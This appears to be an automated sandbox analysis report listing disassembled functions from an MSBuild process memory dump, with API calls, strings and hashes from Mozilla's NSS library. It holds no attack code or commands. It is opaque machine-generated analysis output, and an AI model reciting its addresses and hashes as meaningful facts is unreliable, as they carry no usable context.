Opcode Fuzzy Hash: 1b560af460ce17db821c067c337dd3e963385696264c8b7d837234b4c0f6b660
Instruction Fuzzy Hash: 09513C72B016494FC708CDADDC526EAB7DAABA4310F48C23AE442DB785E638E906C751

Function 6CC0AEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CD2CF46,?,6CBFCDBD,?,6CD2BF31,?,?,?,?,?,?,?), ref: 6CC0B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CD2CF46,?,6CBFCDBD,?,6CD2BF31), ref: 6CC0B090
sqlite3_free.NSS3(?,?,?,?,?,?,6CD2CF46,?,6CBFCDBD,?,6CD2BF31), ref: 6CC0B0A2
CloseHandle.KERNEL32(?,?,6CD2CF46,?,6CBFCDBD,?,6CD2BF31,?,?,?,?,?,?,?,?,?), ref: 6CC0B100
sqlite3_free.NSS3(?,?,00000002,?,6CD2CF46,?,6CBFCDBD,?,6CD2BF31,?,?,?,?,?,?,?), ref: 6CC0B115
sqlite3_free.NSS3(?,?,?,?,?,?,6CD2CF46,?,6CBFCDBD,?,6CD2BF31), ref: 6CC0B12D

Part of subcall function 6CBF9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CC0C6FD,?,?,?,?,6CC5F965,00000000), ref: 6CBF9F0E
Part of subcall function 6CBF9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CC5F965,00000000), ref: 6CBF9F5D

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: c4020ec539b6f6251e406a19ca15e5e9165bb1728d5f7df22fbcc29cd444f7f1
Instruction ID: 7bec233e47dbd551783ceea642ab6f8eb0339a213afc6d0221a62abd4ba4e90f
Opcode Fuzzy Hash: c4020ec539b6f6251e406a19ca15e5e9165bb1728d5f7df22fbcc29cd444f7f1
Instruction Fuzzy Hash: 1F91DDB0B042068FEB04CF65C885A6BB7B9FF85308F14462DE51697B60FB36E945CB91

Function 6CD88D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CDD14E4,6CD3CC70), ref: 6CD88D47
PR_GetCurrentThread.NSS3 ref: 6CD88D98

Part of subcall function 6CC60F00: PR_GetPageSize.NSS3(6CC60936,FFFFE8AE,?,6CBF16B7,00000000,?,6CC60936,00000000,?,6CBF204A), ref: 6CC60F1B
Part of subcall function 6CC60F00: PR_NewLogModule.NSS3(clock,6CC60936,FFFFE8AE,?,6CBF16B7,00000000,?,6CC60936,00000000,?,6CBF204A), ref: 6CC60F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CD88E7B
htons.WSOCK32(?), ref: 6CD88EDB
PR_GetCurrentThread.NSS3 ref: 6CD88F99
PR_GetCurrentThread.NSS3 ref: 6CD8910A

Strings

%u.%u.%u.%u, xrefs: 6CD88E74

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 8105e16730fd0de1aa8e1b89332dea6fe0b8fb8b4e3a177a8b1b3c23a74c517f
Instruction ID: 50038535e85d5523780cee4c5c6ce50ad9e4d83704a6fb890588f58ed5faa01b
Opcode Fuzzy Hash: 8105e16730fd0de1aa8e1b89332dea6fe0b8fb8b4e3a177a8b1b3c23a74c517f
Instruction Fuzzy Hash: D4027A3190B251CFDB15CF19C86876ABBA2EF82304F19825BD8D15FAB1C735D949C790

Function 6CD068E0 Relevance: 12.2, APIs: 8, Instructions: 241COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6CD068FC
PR_EnterMonitor.NSS3 ref: 6CD06924

Part of subcall function 6CD39090: TlsGetValue.KERNEL32 ref: 6CD390AB
Part of subcall function 6CD39090: TlsGetValue.KERNEL32 ref: 6CD390C9
Part of subcall function 6CD39090: EnterCriticalSection.KERNEL32 ref: 6CD390E5
Part of subcall function 6CD39090: TlsGetValue.KERNEL32 ref: 6CD39116
Part of subcall function 6CD39090: LeaveCriticalSection.KERNEL32 ref: 6CD3913F

Part of subcall function 6CC607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CBF204A), ref: 6CC607AD
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBF204A), ref: 6CC607CD
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBF204A), ref: 6CC607D6
Part of subcall function 6CC607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CBF204A), ref: 6CC607E4
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,6CBF204A), ref: 6CC60864
Part of subcall function 6CC607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CC60880
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,?,6CBF204A), ref: 6CC608CB
Part of subcall function 6CC607A0: TlsGetValue.KERNEL32(?,?,6CBF204A), ref: 6CC608D7
Part of subcall function 6CC607A0: TlsGetValue.KERNEL32(?,?,6CBF204A), ref: 6CC608FB

PR_EnterMonitor.NSS3 ref: 6CD0693E
TlsGetValue.KERNEL32 ref: 6CD06977
TlsGetValue.KERNEL32 ref: 6CD069B8
PR_ExitMonitor.NSS3 ref: 6CD06B1E
PR_ExitMonitor.NSS3 ref: 6CD06B39
TlsGetValue.KERNEL32 ref: 6CD06B62

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSectioncalloc$IdentitiesLayerLeave
String ID:
API String ID: 4003455268-0
Opcode ID: 05bc6c41b70cabd8ac46d796c57d0e58350faeee726524f05907473cba36e4b3
Instruction ID: 7691d6a06b593faad4c883ed19ddab2dad94d3dc965bcb02b14e7834d71d5652
Opcode Fuzzy Hash: 05bc6c41b70cabd8ac46d796c57d0e58350faeee726524f05907473cba36e4b3
Instruction Fuzzy Hash: 3B914AB4758500CBEB50DF2DC48056E7BA6EB87308B618259DC84DBA39D77199C3CB92

Function 6CC909A0 Relevance: 11.0, APIs: 7, Instructions: 489memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC906A0: TlsGetValue.KERNEL32 ref: 6CC906C2
Part of subcall function 6CC906A0: EnterCriticalSection.KERNEL32(?), ref: 6CC906D6
Part of subcall function 6CC906A0: PR_Unlock.NSS3 ref: 6CC906EB

memcmp.VCRUNTIME140(00000000,6CC79B8A,0000000C,?,?,?,?,?,?,00000000,00000000,?,?,6CC79B8A,00000000,6CC72D6B), ref: 6CC909D9
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,?,?,?,?,?,00000000,00000000,?,?,6CC79B8A,00000000,6CC72D6B), ref: 6CC909F2
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CC79B8A,00000000,6CC72D6B), ref: 6CC90A1C
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CC79B8A,00000000,6CC72D6B), ref: 6CC90A30
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CC79B8A,00000000,6CC72D6B), ref: 6CC90A48

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Alloc_ArenaUtilmemcmp
String ID:
API String ID: 115324291-0
Opcode ID: bfb800e354cd89a46a9dc69f7fd6500390f119d390daa4aa311c1b678573920a
Instruction ID: 5edb3b230248609cb8e3928dfee3583e952c23f75284ac76d8eabbf9383ffce5
Opcode Fuzzy Hash: bfb800e354cd89a46a9dc69f7fd6500390f119d390daa4aa311c1b678573920a
Instruction Fuzzy Hash: 0E02CDB2E002059FEB008F69DD41BAB7BB9FF48318F140129E905A7B52F731E955CBA1

Function 6CD1C9E0 Relevance: 7.7, APIs: 5, Instructions: 187timeCOMMON

Download Yara Rule

APIs

PR_NormalizeTime.NSS3(00000000,?), ref: 6CD1CEA5

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: NormalizeTime
String ID:
API String ID: 1467309002-0
Opcode ID: 63ec1cdfecd5344add43bc4daf82f1e65928854541b06246d38a807dd1653eda
Instruction ID: 2932d03efb4e8acddddb03ff488cb3414e43142499cf840215331fa85f0e9509
Opcode Fuzzy Hash: 63ec1cdfecd5344add43bc4daf82f1e65928854541b06246d38a807dd1653eda
Instruction Fuzzy Hash: DC717271A097418FC304DF28D48062ABBE5FFC9324F258A2DE4A9C7BA0E730D955CB91

Function 6CD8CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD8D086
PR_Malloc.NSS3(00000001), ref: 6CD8D0B9
PR_Free.NSS3(?), ref: 6CD8D138

Strings

>, xrefs: 6CD8CF5B

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 3bf06bcd0e431061ce2b50d476ed1672d86c650de242e3459147fc897236b473
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 62D15862B436478BFB145A7D8CA13EA77978B82374F58032BD5618BBF9E619C8438311

Function 6CD2AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00860ec7e4677bc42bbdf51e7947dd7bd2a68e5a12f8f094d6c4e6332f1c9a08
Instruction ID: 4b83abfcca5a769e8cdad55fa6704251285f0fa49571af9d12ebac5999e59049
Opcode Fuzzy Hash: 00860ec7e4677bc42bbdf51e7947dd7bd2a68e5a12f8f094d6c4e6332f1c9a08
Instruction Fuzzy Hash: 48F1C5B1F011568BEB04CF58C5417AA77FCEB4A308F154229DB46D7BA0E778AA55CBC0

Function 6CC68EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9ef3f4c442c0792abbed57918ab397d175554efbf02264d1fa95c9f739597de
Instruction ID: 7d4009754e6567e76617ff2457c77b5fe6060d1bb1c31ea94904df3228cda199
Opcode Fuzzy Hash: c9ef3f4c442c0792abbed57918ab397d175554efbf02264d1fa95c9f739597de
Instruction Fuzzy Hash: 3411BF72A042158BE704CF26D9C4B5AB3B9BF4231CF04426AD9158FE41E775E886C7C2

Function 6CD40C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad6d0a8ebc6c0e699d4c3bd2ceb3fda9f1ecb6e92c5adca396a39dad3933b2d1
Instruction ID: 605b1519711bc40fdb95c17564a145e01fac51c8e7519902f8f5ce58f61cc4e9
Opcode Fuzzy Hash: ad6d0a8ebc6c0e699d4c3bd2ceb3fda9f1ecb6e92c5adca396a39dad3933b2d1
Instruction Fuzzy Hash: E311CE75704346CFDB00DF28C88066A77A6FF853A8F14C069D9298B711DB71E806CBA1

Function 6CD40D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: fc774e94c3a719b213a643ccba04cbb407ff3259ac8acefc945f9888b067c8c9
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: E1E06D3A202054A7DB148F09C450BA97359DF91659FA8C079CE599BE01D733F8078B91

Function 6CD809D0 Relevance: 61.5, APIs: 33, Strings: 2, Instructions: 275filetimethreadCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CD80A22

Part of subcall function 6CD39DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CD80A27), ref: 6CD39DC6
Part of subcall function 6CD39DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CD80A27), ref: 6CD39DD1
Part of subcall function 6CD39DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CD39DED

PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CD80A35

Part of subcall function 6CC63810: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CC6382A
Part of subcall function 6CC63810: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CC63879

PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CD80A66
PR_GetCurrentThread.NSS3 ref: 6CD80A70
PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CD80A9D
PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CD80AC8
PR_vsmprintf.NSS3(?,?), ref: 6CD80AE8
EnterCriticalSection.KERNEL32(?), ref: 6CD80B19
OutputDebugStringA.KERNEL32(00000000), ref: 6CD80B48
OutputDebugStringA.KERNEL32(?), ref: 6CD80B88
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CD80C36
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD80C45
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CD80C5D
_PR_MD_UNLOCK.NSS3(?), ref: 6CD80C76
PR_LogFlush.NSS3 ref: 6CD80C7E
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CD80C8D
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD80C9C
OutputDebugStringA.KERNEL32(?), ref: 6CD80CD1
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CD80CEC
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD80CFB
OutputDebugStringA.KERNEL32(00000000), ref: 6CD80D16
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CD80D26
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD80D35
OutputDebugStringA.KERNEL32(0000000A), ref: 6CD80D65
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CD80D70
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD80D7E
_PR_MD_UNLOCK.NSS3(?), ref: 6CD80D90
free.MOZGLUE(00000000), ref: 6CD80D99

Strings

%ld[%p]: , xrefs: 6CD80A96
%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - , xrefs: 6CD80A5B

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: DebugOutputStringfflush$Timefwrite$Unothrow_t@std@@@__ehfuncinfo$??2@$R_snprintfSystem$CriticalCurrentEnterExplodeFileFlushR_vsmprintfR_vsnprintfSectionThreadfputcfreememcpy
String ID: %04d-%02d-%02d %02d:%02d:%02d.%06d UTC - $%ld[%p]:
API String ID: 3820836880-2800039365
Opcode ID: 3be4dd631ea2667cb416f80d4adf0bb8a144735482192b3f6243180310956a3f
Instruction ID: 4c71d2e6eb73c2ab0c696cb44422989fa4e48241e3ea4180117e3186d87289f1
Opcode Fuzzy Hash: 3be4dd631ea2667cb416f80d4adf0bb8a144735482192b3f6243180310956a3f
Instruction Fuzzy Hash: 49A12671A021549FEF109F68CC88BAA3B7CEF42328F0C0658FA4593651D775BA84CB61

Function 6CCA28A0 Relevance: 49.2, APIs: 12, Strings: 16, Instructions: 155COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetTokenInfo), ref: 6CCA28BD
PR_LogPrint.NSS3( pInfo = 0x%p,?), ref: 6CCA28EF

Part of subcall function 6CD809D0: OutputDebugStringA.KERNEL32(?), ref: 6CD80B88
Part of subcall function 6CD809D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CD80C5D
Part of subcall function 6CD809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CD80C8D
Part of subcall function 6CD809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD80C9C
Part of subcall function 6CD809D0: OutputDebugStringA.KERNEL32(?), ref: 6CD80CD1
Part of subcall function 6CD809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CD80CEC
Part of subcall function 6CD809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD80CFB
Part of subcall function 6CD809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD80D16
Part of subcall function 6CD809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CD80D26
Part of subcall function 6CD809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD80D35
Part of subcall function 6CD809D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CD80D65
Part of subcall function 6CD809D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CD80D70
Part of subcall function 6CD809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD80D90
Part of subcall function 6CD809D0: free.MOZGLUE(00000000), ref: 6CD80D99

Part of subcall function 6CC60F00: PR_GetPageSize.NSS3(6CC60936,FFFFE8AE,?,6CBF16B7,00000000,?,6CC60936,00000000,?,6CBF204A), ref: 6CC60F1B
Part of subcall function 6CC60F00: PR_NewLogModule.NSS3(clock,6CC60936,FFFFE8AE,?,6CBF16B7,00000000,?,6CC60936,00000000,?,6CBF204A), ref: 6CC60F25

PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CCA28D6

Part of subcall function 6CD809D0: PR_Now.NSS3 ref: 6CD80A22
Part of subcall function 6CD809D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CD80A35
Part of subcall function 6CD809D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CD80A66
Part of subcall function 6CD809D0: PR_GetCurrentThread.NSS3 ref: 6CD80A70
Part of subcall function 6CD809D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CD80A9D
Part of subcall function 6CD809D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CD80AC8
Part of subcall function 6CD809D0: PR_vsmprintf.NSS3(?,?), ref: 6CD80AE8
Part of subcall function 6CD809D0: EnterCriticalSection.KERNEL32(?), ref: 6CD80B19
Part of subcall function 6CD809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD80B48
Part of subcall function 6CD809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD80C76
Part of subcall function 6CD809D0: PR_LogFlush.NSS3 ref: 6CD80C7E

PR_LogPrint.NSS3( label = "%.32s",?), ref: 6CCA2963
PR_LogPrint.NSS3( manufacturerID = "%.32s",?), ref: 6CCA2983
PR_LogPrint.NSS3( model = "%.16s",?), ref: 6CCA29A3
PR_LogPrint.NSS3( serial = "%.16s",?), ref: 6CCA29C3
PR_LogPrint.NSS3( flags = %s %s %s %s,CKF_RNG,CKF_WRITE_PROTECTED,CKF_LOGIN_REQUIRED,?), ref: 6CCA2A26
PR_LogPrint.NSS3( maxSessions = %u, Sessions = %u,?,?), ref: 6CCA2A48
PR_LogPrint.NSS3( maxRwSessions = %u, RwSessions = %u,?,?), ref: 6CCA2A66
PR_LogPrint.NSS3( hardware version: %d.%d,?,?), ref: 6CCA2A8E
PR_LogPrint.NSS3( firmware version: %d.%d,?,?), ref: 6CCA2AB6

Strings

firmware version: %d.%d, xrefs: 6CCA2AB1
manufacturerID = "%.32s", xrefs: 6CCA297E
maxSessions = %u, Sessions = %u, xrefs: 6CCA2A43
flags = %s %s %s %s, xrefs: 6CCA2A21
model = "%.16s", xrefs: 6CCA299E
C_GetTokenInfo, xrefs: 6CCA28B8
serial = "%.16s", xrefs: 6CCA29BE
CKF_WRITE_PROTECTED, xrefs: 6CCA29FE, 6CCA2A1F
